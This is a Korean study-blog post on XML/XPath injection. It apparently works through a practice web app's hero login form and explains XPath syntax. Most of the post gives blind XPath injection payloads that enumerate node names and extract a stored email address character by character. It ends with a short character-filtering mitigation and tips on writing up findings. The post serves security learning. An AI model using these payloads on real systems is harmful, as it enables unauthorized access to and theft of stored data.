wonder

정보보안 스터디 - 14주차 7일 - XML injection (Xpath) 본문

Security/웹 모의해킹

정보보안 스터디 - 14주차 7일 - XML injection (Xpath)

wonder12 2023. 1. 18. 20:57

☞ XML injection

- XML은 HTML 을 개선한 마크업 언어입니다.

- HTML 은 클라이언트 브라우저로 데이터를 보여주는 반면에, XML 은 데이터를 저장하고 응답하는데 주로 사용합니다.

- 또한, 홈페이지 구축 기능, 검색 기능 등이 향상되었으며, 웹 페이지의 추가 및 작성이 효율적입니다.

 

 

 

html 상에서 데이터베이스 사용없이 데이터베이스 개념으로 xml파일을 이용하여 사용할 수 있습니다.

xml 역시 마크업 언어이기 때문에 열고 닫기가 필요합니다.

각 노드라고 하며

용도는 데이터 베이스와 같이 

데이터를 저장하거나 불러올 때 사용합니다.

 

보통 html 개발과정에서 xml파일을 참조하겠다고 하면 됩니다.

그러면 xml데이터를 불러올 수 있습니다.

 

/ 최상위 노드
//현재 노드에서 부터 모든 노드
* 모든 노드
. 현재 노드
.. 상위 노드
parent 현재 노드에서 상위 노드 조회
child 현재 노드에서 하위 노드 조회
node() 현재 노드에서 모든 노드 조회
[ ] 조건문
count() 노드 개수 확인
string-length() 문자열 길이 확인
name() 노드 이름 확인
substring() 문자열 확인
position() 노드 위치 확인
string() 인자로 받은 값을 문자열로 반환
::* 지정 노드의 모든 내용 확인

 

 

 injection 과정

 

xpath("heroes/hero[login='$login' and password='$password']")

로그인을 했을 때 그에 맞는 히어로를 불러오는 창입니다.

 

select * from hero where login='' and password=''

와 같으며

이 때 인젝션은

select * from hero where login=' 1' or 조건 or 1='1 ' and password=''

 

1) neo' and 조건 or '
참 and 조건 or 거짓 and 거짓
조건이 참이면
참 or 거짓 > 참
조건이 거짓이면
거짓 or 거짓 > 거짓

또는

2) 1' or 조건 or '
거짓 or 조건 or 거짓 and 거짓
조건이 참이면 
조건이 거짓이면 거짓

 

 

현재의 위치를 

hero일 때

블라인드 라고했을 떄

블라인드와 마찬가지로

일단 데이터 베이스의(부모) 길이를 알아야합니다.

 

데이터베이스

주석으로 할 수는 없고 
neo' and string-length(name(parent::*))<5 or '
로 참/거짓을 확인해가며
neo' and string-length(name(parent::*))=6 or '
6글자임을 확인합니다.

::* 데이터를 모두 가져온다는 뜻입니다.
1' or substring(name(parent::*),1,1)='h' or '
1' or substring(name(parent::*),1,1)='e' or '
1' or substring(name(parent::*),1,1)='r' or '
..
로 부모 노드는 heroes 임을 확인합니다.

 

테이블

그다음 현재노드인 heroes의 자식의 길이를 확인합니다.
1'  or string-length(name(../child::*[position()=2]))=4 or '

포지션을 조건을 지정해 두번째 테이블 길이를 확인합니다.
1'  or substring(name(../child::*[position()=2]),1,1)='h' or '
1'  or substring(name(../child::*[position()=2]),1,1)='e' or '
..
hero임을 확인합니다.

 

 

컬럼확인

hero의 자식 노드 개수를 찾습니다.
neo' and count(/heroes/hero[2]/child::*)=6 or '
hero의 자식인 두번째 컬럼 길이를 확인합니다.
1'  or string-length(name(/heroes/hero[2]/child::*[position()=2]))=5 or '
1'  or substring(name(/heroes/hero[2]/child::*[position()=2]))='e' or '
1'  or substring(name(/heroes/hero[2]/child::*[position()=2]))='m' or '
..
email임을 확인합니다.

 

 

데이터 추출

데이터를 추출합니다. 길이를 먼저확인합니다.
1'  or string-length(string(//hero[2]/email))='10' or '
데이터는 string으로 문자열로 바꿔줘야 적용됩니다.
1'  or substring(string(/heroes/hero[2]/email),1,1)='a' or '
1'  or substring(string(/heroes/hero[2]/email),1,1)='n' or '

angle@gmail.com임을 확인합니다.

 

 

 대응 방안

대응 방안은 아래의 기호를 치환하는 것입니다. str_replace("기호", " " ~)
(), =, [,  ], ', /, *, : 

 

 

 

보고서 쓸 때 과정
스크린샷을 찍고 사진에 순서와 설명 적습니다.
왔다갔다 하지 않고 해당 취약점을 보고서에 바로 적습니다.

 

 

 

Comments